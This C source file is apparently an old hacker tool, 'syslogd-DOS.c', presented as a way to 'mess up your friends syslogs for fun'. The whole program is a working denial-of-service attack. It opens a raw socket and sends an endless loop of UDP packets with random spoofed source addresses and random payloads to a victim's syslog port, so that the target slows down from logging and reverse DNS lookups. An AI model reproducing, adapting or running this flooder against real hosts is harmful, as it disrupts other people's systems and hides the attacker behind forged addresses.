/*
 * syslogd-DOS.c
 * 
 * Mess up your friends syslogs for fun!
 *
 * lore <fiddler@antisocial.com>
 *
 * Note: syslogd must be running with the -r option on Linux,
 * or -u on BSD
 *
 * Note also: Not only is the box slowed down by logging all of this 
 * crap, it also reverse resolves all the IPs, slowing it down even
 * more.
 *
 */

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <linux/udp.h>
#include <netinet/ip.h>
#include <netdb.h>

#define TRUE  (0x00000001)
#define FALSE (0x00000000)
#define ERR   (0xffffffff)

#define SYSLOG_PORT 514

#define __BSD_SOURCE /* The BSD ip header is prettier */

#define IP_SIZE   (sizeof(ip_h))
#define UDP_SIZE  (sizeof(udp_h))
#define DATA_SIZE (1024)
#define IP_OFF    (0)
#define UDP_OFF   (IP_SIZE)
#define DATA_OFF  (UDP_OFF + UDP_SIZE)
#define PSIZE     (IP_SIZE + UDP_SIZE + DATA_SIZE)

typedef struct ip ip_h;
typedef struct udphdr udp_h;
typedef char data_h;
typedef u_short port_t;
typedef u_long ip_t;
typedef long sock_t;

int main __P ((int, char * *));
char * random_message __P ((char *));
int spoof_udp_packet __P ((sock_t, ip_t, ip_t, port_t, char *, char *));
ip_t res __P ((char *));
u_short generate_checksum __P ((u_short *, int));

int main (int argc, char * * argv)
{
  sock_t fd;
  char * yes = "1";
  ip_t from, victim;
  port_t port;
  char p[PSIZE];
  char mesg[DATA_SIZE];

  if (argc < 2)
    {
      fprintf(stderr, "Usage: %s <victim> [port]\n", *argv);
      exit(EXIT_FAILURE);
    }
  else if ((victim = res(argv[1])) == ERR)
    {
      fprintf(stderr, "Could not resolve '%s': %s\n",
              argv[1], strerror(errno));
      exit(EXIT_FAILURE);
    }
  else if (!(port = (argc > 2) ? atoi(argv[2]) : SYSLOG_PORT))
    {
      fprintf(stderr, "Bad port '%s'\n", argv[2]);
      exit(EXIT_FAILURE);
    }
  else if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
    {
      fprintf(stderr, "Could not create socket: %s\n",
              strerror(errno));
      exit(EXIT_FAILURE);
    }
  else if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&yes,
                      sizeof(yes)))
    {
      fprintf(stderr, "Could not set socket options: %s\n",
              strerror(errno));
      exit(EXIT_FAILURE);
    }

  srand((unsigned)time(NULL));

  fprintf(stderr, "syslogd-DoS.c by lore <fiddler@antisocial.com>\n");
  fprintf(stderr, "Hitting %s:%d\n", argv[1], port);

  while (1)
    {
      from = rand() % 9999999 + 1;
      if ((spoof_udp_packet(fd, from, victim, port, p,
                            random_message(mesg))) == ERR)
        {
          fprintf(stderr, "Could not send packet: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
        }
      fprintf(stderr, ".");
    }
}

char * random_message (char * mesg)
{
  int i;

  memset(mesg, 0, DATA_SIZE);

  for (i = 0; i < DATA_SIZE; ++i)
    {
      mesg[i] = rand() % 255 + 1;
    }
  return (mesg);
}

int spoof_udp_packet
(sock_t fd, ip_t from, ip_t to, port_t port, char * p, char * data)
{
  ip_h * ip_ptr;
  udp_h * udp_ptr;
  data_h * data_ptr;
  struct sockaddr_in sa;

  memset(p, 0, PSIZE);

  ip_ptr = (ip_h *)(p + IP_OFF);
  udp_ptr = (udp_h *)(p + UDP_OFF);
  data_ptr = (data_h *)(p + DATA_OFF);

  ip_ptr->ip_hl = 5;
  ip_ptr->ip_v = 4;
  ip_ptr->ip_tos = 0;
  ip_ptr->ip_len = PSIZE;
  ip_ptr->ip_id = rand() % 31337 + 1;
  ip_ptr->ip_off = 0;
  ip_ptr->ip_ttl = 255;
  ip_ptr->ip_p = IPPROTO_UDP;
  ip_ptr->ip_sum = 0;
  //  ip_ptr->ip_sum = generate_checksum((u_short *)ip_ptr, IP_SIZE);
  ip_ptr->ip_src.s_addr = from;
  ip_ptr->ip_dst.s_addr = to;

  udp_ptr->source = htons(514);
  udp_ptr->dest = htons(514);
  udp_ptr->len = htons(UDP_SIZE + DATA_SIZE);
  udp_ptr->check = generate_checksum((u_short *)ip_ptr, PSIZE);
  //IP_SIZE +
  //UDP_SIZE + DATA_SIZE);

  strcpy(data_ptr, data);

  sa.sin_port = htons(514);
  sa.sin_addr.s_addr = to;
  sa.sin_family = AF_INET;

  return (sendto(fd, p, PSIZE, 0, (struct sockaddr *)&sa,
                 sizeof(struct sockaddr_in)));
}

ip_t res (char * host)
{
  struct in_addr addr;
  struct hostent * hp;

  if ((addr.s_addr = inet_addr(host)) == ERR)
    {
      if (!(hp = gethostbyname(host))) return (ERR);
      memcpy(&addr.s_addr, hp->h_addr, hp->h_length);
    }
  return (addr.s_addr);
}

u_short generate_checksum (u_short *addr, int len)
{
  register int nleft = len;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *addr++;
      nleft -= 2;
    }

  if (nleft == 1)
    {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
    }

  sum = (sum >> 16) + (sum + 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}